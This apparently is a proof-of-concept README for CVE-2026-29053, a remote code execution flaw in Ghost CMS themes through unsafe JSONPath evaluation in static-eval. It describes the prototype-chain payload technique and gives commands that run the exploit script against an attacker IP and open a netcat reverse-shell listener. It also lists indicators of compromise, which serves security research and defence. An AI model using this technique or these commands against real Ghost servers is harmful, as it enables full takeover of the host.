Ghost CMS Theme JSONPath Remote Code Execution — CVE-2026-29053

Metadata

Affected Target

Summary

Ghost CMS uses the jsonpath package, which internally relies on static-eval to interpret JSONPath filter expressions embedded in Handlebars theme templates. static-eval is explicitly documented upstream as unsafe for untrusted input, yet Ghost passes attacker-influenced theme template content straight into it. A malicious theme can embed a crafted {{#get}} helper filter expression that walks the JavaScript prototype chain (via __proto__ bracket-notation tricks) to reach the Function constructor and execute arbitrary Node.js code in the context of the Ghost server process. The PoC builds a full working Ghost theme package containing the malicious template and a helper script to generate a ready-to-upload theme zip pointed at an attacker-controlled callback address.

Vulnerability Details

Root Cause

static-eval, used by the jsonpath dependency to evaluate JSONPath filter expressions found in Handlebars templates, evaluates attacker-supplied expression strings without any sandboxing, allowing prototype-chain traversal to reach Function and execute arbitrary JavaScript.

Attack Vector

1. Attacker with Ghost Admin theme-upload privileges (or one who tricks an admin into installing a theme) builds a malicious theme containing a page template with a crafted {{#get "posts" filter="tags:{{@site[?(...)]}}"}} expression.
2. The expression uses {__proto__:"".toString}["constructor"] to obtain a reference to Function, then calls it with a string that invokes process.mainModule.require(...) to run OS-level actions (file write, command execution, reverse shell).
3. Admin uploads and activates the theme through Ghost Admin → Settings → Design.
4. Any page rendered with the malicious template (e.g. one with the rce slug) triggers the JSONPath evaluation and executes the embedded payload server-side.

Impact

Full remote code execution in the context of the Ghost Node.js server process, including arbitrary file write, command execution, and reverse shell access to the underlying host.

Environment / Lab Setup

Target:   Ghost CMS 6.19.0 (Docker image built via build/Dockerfile, jsonpath 1.1.1)
Attacker: Python 3, npm/gulp to package the theme, Ghost Admin credentials

Proof of Concept

PoC Script

See exploit.py, page-rce.hbs, and build/ in this folder.

1
2

python3 exploit.py -i <ATTACKER_IP> -p <ATTACKER_PORT> -o malicious-theme.zip
nc -lvnp <ATTACKER_PORT>

exploit.py injects the attacker IP/port into a Handlebars payload template (page-rce.hbs) and zips the resulting theme directory into an uploadable Ghost theme package. build/ contains a Dockerfile/entrypoint that stands up a vulnerable Ghost 6.19.0 instance with the vulnerable jsonpath version pinned for local testing.

Detection & Indicators of Compromise

Signs of compromise:

• Unrecognized theme uploads/activations in Ghost Admin audit logs
• Node process spawning shell/network child processes correlated with page views
• Presence of unexpected files (e.g. marker files) written by the Ghost server user

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/AC8999/CVE-2026-29053 on 2026-07-05.